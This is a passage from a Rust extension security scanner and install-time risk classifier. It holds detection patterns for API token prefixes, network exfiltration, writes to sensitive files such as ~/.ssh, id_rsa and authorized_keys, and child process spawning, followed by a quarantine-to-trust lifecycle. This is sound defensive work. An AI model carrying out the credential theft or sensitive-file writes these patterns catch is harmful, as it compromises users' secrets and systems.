1952    let token_prefixes = ["sk-ant-", "sk-", "ghp_", "gho_", "glpat-", "xoxb-", "xoxp-"];
1953    for pfx in &token_prefixes {
1954        if text.contains(&format!("\"{pfx}")) || text.contains(&format!("'{pfx}")) {
1955            return true;
1956        }
1957    }
1958
1959    false
1960}
1961
1962/// Detect network exfiltration: fetch/XMLHttpRequest with template literals
1963/// or concatenated URLs (not simple static URLs).
1964fn contains_exfiltration_pattern(text: &str) -> bool {
1965    let has_network_call = text.contains("fetch(") || text.contains("XMLHttpRequest");
1966    if !has_network_call {
1967        return false;
1968    }
1969    // Suspicious if URL is constructed from variables (template literal or concat).
1970    text.contains("fetch(`") || text.contains("fetch(\"http\" +") || text.contains("fetch(url")
1971}
1972
1973/// Detect writes to sensitive filesystem paths.
1974fn contains_sensitive_path_write(text: &str) -> bool {
1975    let has_write = text.contains("writeFileSync")
1976        || text.contains("writeFile(")
1977        || text.contains("fs.write")
1978        || text.contains("appendFileSync")
1979        || text.contains("appendFile(");
1980    if !has_write {
1981        return false;
1982    }
1983    let sensitive_paths = [
1984        "/etc/",
1985        "/root/",
1986        "~/.ssh",
1987        "~/.bashrc",
1988        "~/.profile",
1989        "~/.zshrc",
1990        "/usr/",
1991        "/var/",
1992        ".env",
1993        "id_rsa",
1994        "authorized_keys",
1995    ];
1996    sensitive_paths.iter().any(|p| text.contains(p))
1997}
1998
1999/// Detect very short timer intervals (< 10ms).
2000fn contains_timer_abuse(text: &str) -> bool {
2001    if !text.contains("setInterval") {
2002        return false;
2003    }
2004    // Look for setInterval(..., N) where N < 10.
2005    if let Some(pos) = text.rfind(", ") {
2006        let rest = text[pos + 2..]
2007            .trim_end_matches(';')
2008            .trim_end_matches(')')
2009            .trim();
2010        if let Ok(ms) = rest.parse::<u64>() {
2011            return ms < 10;
2012        }
2013    }
2014    false
2015}
2016
2017/// Detect `with (...)` statement — not `width` or `without`.
2018fn contains_with_statement(text: &str) -> bool {
2019    let trimmed = text.trim();
2020    // `with` as a statement: `with (` at statement position.
2021    if trimmed.starts_with("with (") || trimmed.starts_with("with(") {
2022        return true;
2023    }
2024    // Also catch `} with (` for inline blocks.
2025    if let Some(pos) = text.find("with") {
2026        if pos > 0 {
2027            let before = text[..pos].trim_end();
2028            let after = text[pos + 4..].trim_start();
2029            if (before.ends_with('{') || before.ends_with('}') || before.ends_with(';'))
2030                && after.starts_with('(')
2031            {
2032                return true;
2033            }
2034        }
2035    }
2036    false
2037}
2038
2039/// Detect `debugger;` as a standalone statement.
2040fn is_debugger_statement(text: &str) -> bool {
2041    let trimmed = text.trim();
2042    trimmed == "debugger;" || trimmed == "debugger" || trimmed.starts_with("debugger;")
2043}
2044
2045/// Detect console.error/warn/log with interpolated values (not just strings).
2046fn contains_console_info_leak(text: &str) -> bool {
2047    // Only flag console.error/warn which more likely leak sensitive data.
2048    if !text.contains("console.error") && !text.contains("console.warn") {
2049        return false;
2050    }
2051    // Flag if there's variable interpolation or multiple args.
2052    text.contains("console.error(") || text.contains("console.warn(")
2053}
2054
2055// ---- Pattern detection helpers added in rulebook v2.0.0 ----
2056
2057/// Detect `child_process` command execution: exec, execSync, spawn, spawnSync,
2058/// execFile, execFileSync, fork.
2059fn contains_child_process_spawn(text: &str) -> bool {
2060    let spawn_patterns = [
2061        "exec(",
2062        "execSync(",
2063        "spawn(",
2064        "spawnSync(",
2065        "execFile(",
2066        "execFileSync(",
2067        "fork(",
2068    ];
2069    // Only flag when preceded by child_process context indicators.
2070    let has_cp_context =
2071        text.contains("child_process") || text.contains("cp.") || text.contains("childProcess");
2072
2073    if has_cp_context {
2074        return spawn_patterns.iter().any(|p| text.contains(p));
2075    }
2076
2077    // Also flag direct destructured usage: `const { exec } = require('child_process')`
2078    // is already covered by the context check. Check for standalone exec() that looks
2079    // like it comes from child_process (not general method calls).
2080    false
2081}
2082
2083/// Find column position for child_process spawn patterns.
2084fn find_child_process_column(text: &str) -> Option<usize> {
2085    for pattern in &[
2086        "execSync(",
2087        "execFileSync(",
2088        "spawnSync(",
2089        "execFile(",
2090        "spawn(",
2091        "exec(",
2092        "fork(",
2093    ] {
2094        if let Some(pos) = text.find(pattern) {
2095            return Some(pos + 1);
2096        }
2097    }
2098    None
2099}
2100
2101/// Detect `globalThis`/`global` property mutation (assignment, not just read).
2102fn contains_global_mutation(text: &str) -> bool {
2103    // Mutation patterns: assignment to globalThis.X or global.X
2104    let assignment_patterns = ["globalThis.", "global.", "globalThis["];
2105
2106    for pat in &assignment_patterns {
2107        for (pos, _) in text.match_indices(pat) {
2108            let after = &text[pos + pat.len()..];
2109            // Check if this is an assignment (has = but not == or ===)
2110            if let Some(eq_pos) = after.find('=') {
2111                let before_eq = &after[..eq_pos];
2112                let after_eq = &after[eq_pos..];
2113                // Not a comparison (==, ===) and not part of a longer identifier
2114                if !after_eq.starts_with("==")
2115                    && !before_eq.contains('(')
2116                    && !before_eq.contains(')')
2117                {
2118                    return true;
2119                }
2120            }
2121        }
2122    }
2123    false
2124}
2125
2126/// Detect `fs.symlink`/`fs.symlinkSync`/`fs.link`/`fs.linkSync`.
2127fn contains_symlink_creation(text: &str) -> bool {
2128    text.contains("fs.symlink(")
2129        || text.contains("fs.symlinkSync(")
2130        || text.contains("fs.link(")
2131        || text.contains("fs.linkSync(")
2132        || text.contains("symlinkSync(")
2133        || text.contains("linkSync(")
2134}
2135
2136/// Detect `fs.chmod`/`fs.chown` and their sync variants.
2137fn contains_permission_change(text: &str) -> bool {
2138    text.contains("fs.chmod(")
2139        || text.contains("fs.chmodSync(")
2140        || text.contains("fs.chown(")
2141        || text.contains("fs.chownSync(")
2142        || text.contains("fs.lchmod(")
2143        || text.contains("fs.lchown(")
2144        || text.contains("chmodSync(")
2145        || text.contains("chownSync(")
2146}
2147
2148/// Detect server/socket listener creation.
2149fn contains_socket_listener(text: &str) -> bool {
2150    text.contains("createServer(")
2151        || text.contains("createSocket(")
2152        || text.contains(".listen(")
2153            && (text.contains("server") || text.contains("http") || text.contains("net"))
2154}
2155
2156/// Detect `require()` of native addon files (.node, .so, .dylib).
2157fn contains_native_module_require(text: &str) -> bool {
2158    if !text.contains("require(") {
2159        return false;
2160    }
2161    let native_exts = [".node\"", ".node'", ".so\"", ".so'", ".dylib\"", ".dylib'"];
2162    native_exts.iter().any(|ext| text.contains(ext))
2163}
2164
2165/// Truncate a source snippet to a reasonable display length.
2166fn truncate_snippet(text: &str) -> String {
2167    const MAX_SNIPPET_LEN: usize = 200;
2168    if text.len() <= MAX_SNIPPET_LEN {
2169        text.to_string()
2170    } else {
2171        let mut end = 0;
2172        for (i, c) in text.char_indices() {
2173            if i >= MAX_SNIPPET_LEN {
2174                break;
2175            }
2176            end = i + c.len_utf8();
2177        }
2178        if end < text.len() {
2179            format!("{}...", &text[..end])
2180        } else {
2181            text.to_string()
2182        }
2183    }
2184}
2185
2186/// Collect JS/TS files from a path (file or directory).
2187fn collect_scannable_files(path: &Path) -> std::io::Result<Vec<std::path::PathBuf>> {
2188    if path.is_file() {
2189        return Ok(vec![path.to_path_buf()]);
2190    }
2191    let mut files = Vec::new();
2192    for entry in std::fs::read_dir(path)? {
2193        let entry = entry?;
2194        let p = entry.path();
2195        if p.is_dir() {
2196            // Skip node_modules and hidden dirs.
2197            let name = p.file_name().and_then(|n| n.to_str()).unwrap_or("");
2198            if name == "node_modules" || name.starts_with('.') {
2199                continue;
2200            }
2201            files.extend(collect_scannable_files(&p)?);
2202        } else if p.is_file() {
2203            if let Some(ext) = p.extension().and_then(|e| e.to_str()) {
2204                if matches!(
2205                    ext,
2206                    "js" | "ts" | "mjs" | "mts" | "cjs" | "cts" | "jsx" | "tsx"
2207                ) {
2208                    files.push(p);
2209                }
2210            }
2211        }
2212    }
2213    files.sort();
2214    Ok(files)
2215}
2216
2217/// Compute relative POSIX path from root to path.
2218fn relative_posix_path(root: &Path, path: &Path) -> String {
2219    let relative = path.strip_prefix(root).unwrap_or(path);
2220    if relative.as_os_str().is_empty() {
2221        return path.file_name().and_then(|name| name.to_str()).map_or_else(
2222            || path.to_string_lossy().replace('\\', "/"),
2223            ToString::to_string,
2224        );
2225    }
2226    relative.to_string_lossy().replace('\\', "/")
2227}
2228
2229/// Strip block comments for security scanning. Simpler than the full
2230/// compat scanner's `strip_js_comments` — we only need to track the
2231/// block comment state to avoid false positives.
2232fn strip_block_comment_tracking(line: &str, in_block: &mut bool) -> String {
2233    let mut result = String::with_capacity(line.len());
2234    let mut chars = line.chars().peekable();
2235
2236    while let Some(c) = chars.next() {
2237        if *in_block {
2238            if c == '*' && chars.peek() == Some(&'/') {
2239                chars.next(); // Consume '/'
2240                *in_block = false;
2241            }
2242        } else if c == '/' && chars.peek() == Some(&'*') {
2243            chars.next(); // Consume '*'
2244            *in_block = true;
2245        } else if c == '/' && chars.peek() == Some(&'/') {
2246            // Rest of line is comment.
2247            break;
2248        } else {
2249            result.push(c);
2250        }
2251    }
2252
2253    result
2254}
2255
2256// ============================================================================
2257// Install-time composite risk classifier (bd-21vng, SEC-2.3)
2258// ============================================================================
2259
2260/// Schema version for the install-time risk classification report.
2261pub const INSTALL_TIME_RISK_SCHEMA: &str = "pi.ext.install_risk.v1";
2262
2263/// Install-time recommendation.
2264#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
2265#[serde(rename_all = "snake_case")]
2266pub enum InstallRecommendation {
2267    /// Safe to install and load without further review.
2268    Allow,
2269    /// Install but flag for operator review before first run.
2270    Review,
2271    /// Block installation; active exploit vectors detected.
2272    Block,
2273}
2274
2275impl fmt::Display for InstallRecommendation {
2276    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2277        match self {
2278            Self::Allow => f.write_str("ALLOW"),
2279            Self::Review => f.write_str("REVIEW"),
2280            Self::Block => f.write_str("BLOCK"),
2281        }
2282    }
2283}
2284
2285/// Composite install-time risk classification report that synthesizes signals
2286/// from both the compatibility preflight and the security scanner into a
2287/// single deterministic verdict.
2288///
2289/// The classification algorithm is purely functional: given the same
2290/// `PreflightReport` and `SecurityScanReport`, it always produces the
2291/// identical `InstallTimeRiskReport`. No randomness, no side effects.
2292#[derive(Debug, Clone, Serialize, Deserialize)]
2293pub struct InstallTimeRiskReport {
2294    /// Schema version.
2295    pub schema: String,
2296    /// Extension identifier.
2297    pub extension_id: String,
2298    /// Composite risk tier (worst-of across both reports).
2299    pub composite_risk_tier: RiskTier,
2300    /// Composite risk score (0 = maximum risk, 100 = clean).
2301    pub composite_risk_score: u8,
2302    /// Install recommendation derived from composite analysis.
2303    pub recommendation: InstallRecommendation,
2304    /// Human-readable one-line verdict.
2305    pub verdict: String,
2306    /// Compatibility preflight summary.
2307    pub preflight_summary: PreflightSummaryBrief,
2308    /// Security scan summary.
2309    pub security_summary: SecuritySummaryBrief,
2310    /// Rulebook version that produced the security findings.
2311    pub rulebook_version: String,
2312}
2313
2314/// Abbreviated preflight summary for embedding in the composite report.
2315#[derive(Debug, Clone, Serialize, Deserialize)]
2316pub struct PreflightSummaryBrief {
2317    pub verdict: PreflightVerdict,
2318    pub confidence: u8,
2319    pub errors: usize,
2320    pub warnings: usize,
2321}
2322
2323/// Abbreviated security summary for embedding in the composite report.
2324#[derive(Debug, Clone, Serialize, Deserialize)]
2325pub struct SecuritySummaryBrief {
2326    pub overall_tier: RiskTier,
2327    pub critical: usize,
2328    pub high: usize,
2329    pub medium: usize,
2330    pub low: usize,
2331    pub total_findings: usize,
2332}
2333
2334impl InstallTimeRiskReport {
2335    /// Build from a preflight report and a security scan report.
2336    ///
2337    /// The composite risk tier is the worst (lowest ordinal) tier from either
2338    /// report. The composite score is a weighted combination of the preflight
2339    /// confidence and the security finding severity.
2340    ///
2341    /// This function is pure and deterministic.
2342    #[must_use]
2343    pub fn classify(
2344        extension_id: &str,
2345        preflight: &PreflightReport,
2346        security: &SecurityScanReport,
2347    ) -> Self {
2348        let preflight_summary = PreflightSummaryBrief {
2349            verdict: preflight.verdict,
2350            confidence: preflight.confidence.value(),
2351            errors: preflight.summary.errors,
2352            warnings: preflight.summary.warnings,
2353        };
2354
2355        let security_summary = SecuritySummaryBrief {
2356            overall_tier: security.overall_tier,
2357            critical: security.tier_counts.critical,
2358            high: security.tier_counts.high,
2359            medium: security.tier_counts.medium,
2360            low: security.tier_counts.low,
2361            total_findings: security.findings.len(),
2362        };
2363
2364        // Composite risk tier: worst-of across both reports.
2365        // Map preflight verdict to a risk tier for comparison.
2366        let preflight_risk = match preflight.verdict {
2367            PreflightVerdict::Fail => RiskTier::High,
2368            PreflightVerdict::Warn => RiskTier::Medium,
2369            PreflightVerdict::Pass => RiskTier::Low,
2370        };
2371        let composite_risk_tier = preflight_risk.min(security.overall_tier);
2372
2373        // Composite risk score: 0 = maximum risk, 100 = clean.
2374        // Start from 100 and apply deductions.
2375        let security_deduction = security
2376            .tier_counts
2377            .critical
2378            .saturating_mul(30)
2379            .saturating_add(security.tier_counts.high.saturating_mul(20))
2380            .saturating_add(security.tier_counts.medium.saturating_mul(10))
2381            .saturating_add(security.tier_counts.low.saturating_mul(3));
2382        let preflight_deduction = preflight
2383            .summary
2384            .errors
2385            .saturating_mul(15)
2386            .saturating_add(preflight.summary.warnings.saturating_mul(5));
2387        let total_deduction = security_deduction.saturating_add(preflight_deduction);
2388        let composite_risk_score =
2389            u8::try_from(100_usize.saturating_sub(total_deduction).min(100)).unwrap_or(0);
2390
2391        // Recommendation: deterministic decision tree.
2392        let recommendation = match composite_risk_tier {
2393            RiskTier::Critical => InstallRecommendation::Block,
2394            RiskTier::High => InstallRecommendation::Review,
2395            RiskTier::Medium => {
2396                if composite_risk_score < 50 {
2397                    InstallRecommendation::Review
2398                } else {
2399                    InstallRecommendation::Allow
2400                }
2401            }
2402            RiskTier::Low => InstallRecommendation::Allow,
2403        };
2404
2405        let verdict = Self::format_verdict(
2406            recommendation,
2407            &preflight_summary,
2408            &security_summary,
2409            composite_risk_score,
2410        );
2411
2412        Self {
2413            schema: INSTALL_TIME_RISK_SCHEMA.to_string(),
2414            extension_id: extension_id.to_string(),
2415            composite_risk_tier,
2416            composite_risk_score,
2417            recommendation,
2418            verdict,
2419            preflight_summary,
2420            security_summary,
2421            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
2422        }
2423    }
2424
2425    fn format_verdict(
2426        recommendation: InstallRecommendation,
2427        preflight: &PreflightSummaryBrief,
2428        security: &SecuritySummaryBrief,
2429        score: u8,
2430    ) -> String {
2431        let sec_part = if security.total_findings == 0 {
2432            "no security findings".to_string()
2433        } else {
2434            let mut parts = Vec::new();
2435            if security.critical > 0 {
2436                parts.push(format!("{} critical", security.critical));
2437            }
2438            if security.high > 0 {
2439                parts.push(format!("{} high", security.high));
2440            }
2441            if security.medium > 0 {
2442                parts.push(format!("{} medium", security.medium));
2443            }
2444            if security.low > 0 {
2445                parts.push(format!("{} low", security.low));
2446            }
2447            parts.join(", ")
2448        };
2449
2450        let compat_part = match preflight.verdict {
2451            PreflightVerdict::Pass => "compatible".to_string(),
2452            PreflightVerdict::Warn => format!("{} compat warning(s)", preflight.warnings),
2453            PreflightVerdict::Fail => format!("{} compat error(s)", preflight.errors),
2454        };
2455
2456        format!("{recommendation}: score {score}/100 — {sec_part}; {compat_part}")
2457    }
2458
2459    /// Serialize to pretty JSON.
2460    ///
2461    /// # Errors
2462    ///
2463    /// Returns an error if serialization fails.
2464    pub fn to_json(&self) -> Result<String, serde_json::Error> {
2465        serde_json::to_string_pretty(self)
2466    }
2467
2468    /// Whether installation should be blocked.
2469    #[must_use]
2470    pub const fn should_block(&self) -> bool {
2471        matches!(self.recommendation, InstallRecommendation::Block)
2472    }
2473
2474    /// Whether manual review is recommended before first run.
2475    #[must_use]
2476    pub const fn needs_review(&self) -> bool {
2477        matches!(
2478            self.recommendation,
2479            InstallRecommendation::Block | InstallRecommendation::Review
2480        )
2481    }
2482}
2483
2484/// Convenience function: run both the preflight analyzer and security scanner
2485/// on raw source text and produce a composite install-time risk report.
2486///
2487/// This is the primary entry point for install-time risk classification.
2488#[must_use]
2489pub fn classify_extension_source(
2490    extension_id: &str,
2491    source: &str,
2492    policy: &ExtensionPolicy,
2493) -> InstallTimeRiskReport {
2494    let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2495    let preflight = analyzer.analyze_source(extension_id, source);
2496    let security = SecurityScanner::scan_source(extension_id, source);
2497    InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2498}
2499
2500/// Run both the preflight analyzer and security scanner on extension files
2501/// at a given path and produce a composite install-time risk report.
2502pub fn classify_extension_path(
2503    extension_id: &str,
2504    path: &Path,
2505    policy: &ExtensionPolicy,
2506) -> InstallTimeRiskReport {
2507    let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2508    let preflight = analyzer.analyze(path);
2509    let security = SecurityScanner::scan_path(extension_id, path, path);
2510    InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2511}
2512
2513// ============================================================================
2514// Quarantine-to-trust promotion lifecycle (bd-21nj4, SEC-2.4)
2515// ============================================================================
2516
2517/// Schema version for trust lifecycle transition events.
2518pub const TRUST_LIFECYCLE_SCHEMA: &str = "pi.ext.trust_lifecycle.v1";
2519
2520/// Extension trust lifecycle states.
2521///
2522/// The trust lifecycle is a strict state machine:
2523/// - `Quarantined` → `Restricted` (via promotion with operator acknowledgment)
2524/// - `Restricted` → `Trusted` (via promotion with operator acknowledgment)
2525/// - `Trusted` → `Quarantined` (via demotion, immediate)
2526/// - `Restricted` → `Quarantined` (via demotion, immediate)
2527///
2528/// Transitions always require an explicit reason and produce an audit event.
2529#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
2530#[serde(rename_all = "snake_case")]
2531pub enum ExtensionTrustState {
2532    /// Extension is fully quarantined: no dangerous hostcalls permitted.
2533    /// Default state for extensions with `Block` or `Review` install
2534    /// recommendations.
2535    Quarantined,
2536    /// Extension may execute read-only hostcalls but not write, exec, or
2537    /// network operations. Intermediate state requiring a second promotion
2538    /// to reach full trust.
2539    Restricted,
2540    /// Extension is fully trusted and may exercise all policy-allowed
2541    /// capabilities.
2542    Trusted,
2543}
2544
2545impl fmt::Display for ExtensionTrustState {
2546    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2547        match self {
2548            Self::Quarantined => f.write_str("quarantined"),
2549            Self::Restricted => f.write_str("restricted"),
2550            Self::Trusted => f.write_str("trusted"),
2551        }
2552    }
2553}
2554
2555impl ExtensionTrustState {
2556    /// Whether the extension may execute dangerous hostcalls (write, exec,
2557    /// network, env).
2558    #[must_use]
2559    pub const fn allows_dangerous_hostcalls(self) -> bool {
2560        matches!(self, Self::Trusted)
2561    }
2562
2563    /// Whether the extension may execute read-only hostcalls (read, list,
2564    /// stat, tool registration).
2565    #[must_use]
2566    pub const fn allows_read_hostcalls(self) -> bool {
2567        matches!(self, Self::Restricted | Self::Trusted)
2568    }
2569
2570    /// Whether the extension is in quarantine and cannot execute any
2571    /// hostcalls beyond registration.
2572    #[must_use]
2573    pub const fn is_quarantined(self) -> bool {
2574        matches!(self, Self::Quarantined)
2575    }
2576}
2577
2578/// Direction of a trust state transition.
2579#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
2580#[serde(rename_all = "snake_case")]
2581pub enum TrustTransitionKind {
2582    /// Promote to a higher trust level.
2583    Promote,
2584    /// Demote to a lower trust level (quarantine).
2585    Demote,
2586}
2587
2588impl fmt::Display for TrustTransitionKind {
2589    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2590        match self {
2591            Self::Promote => f.write_str("promote"),
2592            Self::Demote => f.write_str("demote"),
2593        }
2594    }
2595}
2596
2597/// A recorded trust state transition event for the audit trail.
2598#[derive(Debug, Clone, Serialize, Deserialize)]
2599pub struct TrustTransitionEvent {
2600    /// Schema version.
2601    pub schema: String,
2602    /// Extension identifier.
2603    pub extension_id: String,
2604    /// Previous trust state.
2605    pub from_state: ExtensionTrustState,
2606    /// New trust state.
2607    pub to_state: ExtensionTrustState,
2608    /// Direction of transition.
2609    pub kind: TrustTransitionKind,
2610    /// Human-readable reason for the transition.
2611    pub reason: String,
2612    /// Whether operator explicitly acknowledged this transition.
2613    pub operator_acknowledged: bool,
2614    /// Install-time risk score at time of transition (0-100).
2615    pub risk_score: Option<u8>,
2616    /// Install-time recommendation at time of transition.
2617    pub recommendation: Option<InstallRecommendation>,
2618    /// Timestamp (RFC 3339) of the transition.
2619    pub timestamp: String,
2620}
2621
2622impl TrustTransitionEvent {
2623    /// Serialize to JSON.
2624    ///
2625    /// # Errors
2626    ///
2627    /// Returns an error if serialization fails.
2628    pub fn to_json(&self) -> Result<String, serde_json::Error> {
2629        serde_json::to_string(self)
2630    }
2631}
2632
2633/// Errors that can occur during trust state transitions.
2634#[derive(Debug, Clone, PartialEq, Eq)]
2635pub enum TrustTransitionError {
2636    /// Attempted promotion without operator acknowledgment.
2637    OperatorAckRequired {
2638        from: ExtensionTrustState,
2639        to: ExtensionTrustState,
2640    },
2641    /// Attempted an invalid state transition (e.g., Quarantined → Trusted
2642    /// without passing through Restricted).
2643    InvalidTransition {
2644        from: ExtensionTrustState,
2645        to: ExtensionTrustState,
2646    },
2647    /// Extension's install-time risk score is too high for the target state.
2648    RiskTooHigh {
2649        target: ExtensionTrustState,
2650        risk_score: u8,
2651        max_allowed: u8,
2652    },
2653}
2654
2655impl fmt::Display for TrustTransitionError {
2656    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2657        match self {
2658            Self::OperatorAckRequired { from, to } => {
2659                write!(
2660                    f,
2661                    "operator acknowledgment required to promote {from} → {to}"
2662                )
2663            }
2664            Self::InvalidTransition { from, to } => {
2665                write!(f, "invalid trust transition: {from} → {to}")
2666            }
2667            Self::RiskTooHigh {
2668                target,
2669                risk_score,
2670                max_allowed,
2671            } => {
2672                write!(
2673                    f,
2674                    "risk score {risk_score} exceeds maximum {max_allowed} for {target} state"
2675                )
2676            }
2677        }
2678    }
2679}
2680
2681/// Mutable trust lifecycle tracker for a single extension.
2682///
2683/// This struct manages the trust state machine and produces audit events
2684/// for every transition.
2685#[derive(Debug, Clone)]
2686pub struct ExtensionTrustTracker {
2687    extension_id: String,
2688    state: ExtensionTrustState,
2689    history: Vec<TrustTransitionEvent>,
2690}
2691
2692impl ExtensionTrustTracker {
2693    /// Create a new tracker with the given initial state.
2694    #[must_use]
2695    pub fn new(extension_id: &str, initial_state: ExtensionTrustState) -> Self {
2696        Self {
2697            extension_id: extension_id.to_string(),
2698            state: initial_state,
2699            history: Vec::new(),
2700        }
2701    }
2702
2703    /// Create a tracker with initial state derived from an install-time risk
2704    /// report.
2705    #[must_use]
2706    pub fn from_risk_report(report: &InstallTimeRiskReport) -> Self {
2707        let state = match report.recommendation {
2708            InstallRecommendation::Block | InstallRecommendation::Review => {
2709                ExtensionTrustState::Quarantined
2710            }
2711            InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2712        };
2713        Self::new(&report.extension_id, state)
2714    }
2715
2716    /// Current trust state.
2717    #[must_use]
2718    pub const fn state(&self) -> ExtensionTrustState {
2719        self.state
2720    }
2721
2722    /// Extension identifier.
2723    #[must_use]
2724    pub fn extension_id(&self) -> &str {
2725        &self.extension_id
2726    }
2727
2728    /// Full transition history.
2729    #[must_use]
2730    pub fn history(&self) -> &[TrustTransitionEvent] {
2731        &self.history
2732    }
2733
2734    /// Attempt to promote the extension to the next trust level.
2735    ///
2736    /// Promotions must follow the strict path:
2737    /// `Quarantined` → `Restricted` → `Trusted`.
2738    ///
2739    /// Skipping levels (e.g., `Quarantined` → `Trusted`) is not allowed.
2740    ///
2741    /// # Errors
2742    ///
2743    /// Returns `TrustTransitionError` if:
2744    /// - `operator_ack` is false (promotions require explicit acknowledgment)
2745    /// - The extension is already `Trusted`
2746    /// - The risk score exceeds the threshold for the target state
2747    pub fn promote(
2748        &mut self,
2749        reason: &str,
2750        operator_ack: bool,
2751        risk_score: Option<u8>,
2752        recommendation: Option<InstallRecommendation>,
2753    ) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2754        let target = match self.state {
2755            ExtensionTrustState::Quarantined => ExtensionTrustState::Restricted,
2756            ExtensionTrustState::Restricted => ExtensionTrustState::Trusted,
2757            ExtensionTrustState::Trusted => {
2758                return Err(TrustTransitionError::InvalidTransition {
2759                    from: self.state,
2760                    to: ExtensionTrustState::Trusted,
2761                });
2762            }
2763        };
2764
2765        if !operator_ack {
2766            return Err(TrustTransitionError::OperatorAckRequired {
2767                from: self.state,
2768                to: target,
2769            });
2770        }
2771
2772        // Risk threshold gate: Restricted requires score >= 30, Trusted
2773        // requires >= 50.
2774        if let Some(score) = risk_score {
2775            let max = match target {
2776                ExtensionTrustState::Restricted => 30,
2777                ExtensionTrustState::Trusted => 50,
2778                ExtensionTrustState::Quarantined => 0,
2779            };
2780            if score < max {
2781                return Err(TrustTransitionError::RiskTooHigh {
2782                    target,
2783                    risk_score: score,
2784                    max_allowed: max,
2785                });
2786            }
2787        }
2788
2789        let event = TrustTransitionEvent {
2790            schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2791            extension_id: self.extension_id.clone(),
2792            from_state: self.state,
2793            to_state: target,
2794            kind: TrustTransitionKind::Promote,
2795            reason: reason.to_string(),
2796            operator_acknowledged: true,
2797            risk_score,
2798            recommendation,
2799            timestamp: now_rfc3339(),
2800        };
2801
2802        self.state = target;
2803        self.history.push(event);
2804        Ok(self.history.last().unwrap())
2805    }
2806
2807    /// Demote the extension back to quarantine.
2808    ///
2809    /// Demotions are always allowed and do not require operator
2810    /// acknowledgment. They are immediate and unconditional.
2811    ///
2812    /// # Errors
2813    ///
2814    /// Returns `TrustTransitionError::InvalidTransition` if the extension is
2815    /// already quarantined.
2816    pub fn demote(&mut self, reason: &str) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2817        if self.state == ExtensionTrustState::Quarantined {
2818            return Err(TrustTransitionError::InvalidTransition {
2819                from: self.state,
2820                to: ExtensionTrustState::Quarantined,
2821            });
2822        }
2823
2824        let event = TrustTransitionEvent {
2825            schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2826            extension_id: self.extension_id.clone(),
2827            from_state: self.state,
2828            to_state: ExtensionTrustState::Quarantined,
2829            kind: TrustTransitionKind::Demote,
2830            reason: reason.to_string(),
2831            operator_acknowledged: false,
2832            risk_score: None,
2833            recommendation: None,
2834            timestamp: now_rfc3339(),
2835        };
2836
2837        self.state = ExtensionTrustState::Quarantined;
2838        self.history.push(event);
2839        Ok(self.history.last().unwrap())
2840    }
2841
2842    /// Export the full transition history as JSONL.
2843    ///
2844    /// # Errors
2845    ///
2846    /// Returns an error if serialization fails.
2847    pub fn history_jsonl(&self) -> Result<String, serde_json::Error> {
2848        let mut out = String::new();
2849        for (i, event) in self.history.iter().enumerate() {
2850            if i > 0 {
2851                out.push('\n');
2852            }
2853            out.push_str(&serde_json::to_string(event)?);
2854        }
2855        Ok(out)
2856    }
2857}
2858
2859/// Determine the initial trust state for a newly installed extension
2860/// based on its install-time risk report.
2861#[must_use]
2862pub const fn initial_trust_state(report: &InstallTimeRiskReport) -> ExtensionTrustState {
2863    match report.recommendation {
2864        InstallRecommendation::Block | InstallRecommendation::Review => {
2865            ExtensionTrustState::Quarantined
2866        }
2867        InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2868    }
2869}
2870
2871/// Check whether a hostcall category is allowed for the given trust state.
2872///
2873/// Dangerous categories (write, exec, env, http) require `Trusted` state.
2874/// Read-only categories (read, list, stat, tool) require at least `Restricted`.
2875/// Registration-only operations (register tool/slash_command) are always
2876/// allowed.
2877#[must_use]
2878#[allow(clippy::match_same_arms)] // Explicit dangerous-category arm kept for documentation
2879pub fn is_hostcall_allowed_for_trust(
2880    trust_state: ExtensionTrustState,
2881    hostcall_category: &str,
2882) -> bool {
2883    match hostcall_category {
2884        // Always allowed (registration).
2885        "register" | "tool" | "slash_command" | "shortcut" | "flag" | "event_hook" | "log" => true,
2886        // Read-only: requires at least Restricted.
2887        "read" | "list" | "stat" | "session_read" | "ui" => trust_state.allows_read_hostcalls(),
2888        // Dangerous: requires Trusted.
2889        "write" | "exec" | "env" | "http" | "session_write" | "fs_write" | "fs_delete"
2890        | "fs_mkdir" => trust_state.allows_dangerous_hostcalls(),
2891        // Unknown categories default to requiring Trusted.
2892        _ => trust_state.allows_dangerous_hostcalls(),
2893    }
2894}
2895
2896fn now_rfc3339() -> String {
2897    chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true)
2898}
2899
2900// ============================================================================
2901// Tests
2902// ============================================================================
2903
2904#[cfg(test)]
2905mod tests {
2906    use super::*;
2907    use crate::extensions::ExtensionPolicy;
2908
2909    // ---- ModuleSupport ----
2910
2911    #[test]
2912    fn module_support_severity_mapping() {
2913        assert_eq!(ModuleSupport::Real.severity(), FindingSeverity::Info);
2914        assert_eq!(ModuleSupport::Partial.severity(), FindingSeverity::Warning);
2915        assert_eq!(ModuleSupport::Stub.severity(), FindingSeverity::Warning);
2916        assert_eq!(ModuleSupport::ErrorThrow.severity(), FindingSeverity::Error);
2917        assert_eq!(ModuleSupport::Missing.severity(), FindingSeverity::Error);
2918    }
2919
2920    #[test]
2921    fn module_support_display() {
2922        assert_eq!(format!("{}", ModuleSupport::Real), "fully supported");
2923        assert_eq!(format!("{}", ModuleSupport::Missing), "not available");
2924    }
2925
2926    #[test]
2927    fn module_support_serde_roundtrip() {
2928        for variant in [
2929            ModuleSupport::Real,
2930            ModuleSupport::Partial,
2931            ModuleSupport::Stub,
2932            ModuleSupport::ErrorThrow,
